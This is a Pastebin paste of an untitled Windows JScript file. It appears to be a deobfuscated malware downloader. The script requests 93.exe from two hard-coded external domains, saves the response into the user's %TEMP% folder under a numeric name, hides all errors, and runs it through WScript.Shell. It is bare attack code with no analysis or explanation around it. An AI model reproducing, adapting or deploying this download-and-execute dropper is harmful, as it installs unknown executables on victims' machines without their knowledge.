Advertisement
Guest User

Untitled

a guest
Feb 6th, 2016
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. var STATUS_OK = 200;
  2. var METHOD_GET = "GET";
  3. var METHOD_EXEC = "Exec";
  4. var W_SCRIPT_SHELL = "WScript.Shell";
  5. var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
  6. var ADODB = "ADODB";
  7. var STREAM = "Stream";
  8. var TEMP_ENV = "%TEMP%\\";
  9. var EXE_EXTENSION = ".exe";
  10. var MIN_FILE_SIZE = 20000;
  11.  
  12. var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
  13. var FILE_NAME = 35184372088832;
  14.  
  15.  
  16. var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
  17. var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
  18. var stream = WScript.CreateObject(ADODB+"."+STREAM);
  19.  
  20. var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
  21. var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;
  22.  
  23.  
  24. for (var v = 0; v < URLS.length; v++) {
  25. try {
  26. var url = URLS[v];
  27. httpRequest.open(METHOD_GET, url, false);
  28. httpRequest.send();
  29. if (httpRequest.status == STATUS_OK) {
  30. try {
  31. stream.open();
  32. stream.type = 1;
  33. stream.write(httpRequest.responseBody);
  34. if (stream.size > MIN_FILE_SIZE) {
  35. v = URLS.length;
  36. stream.position = 0;
  37. stream.saveToFile(storedFilePathName, 2);
  38. }
  39. } finally {
  40. stream.close();
  41. }
  42. }
  43. }
  44. catch (ignored) {
  45. }
  46. }
  47. wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement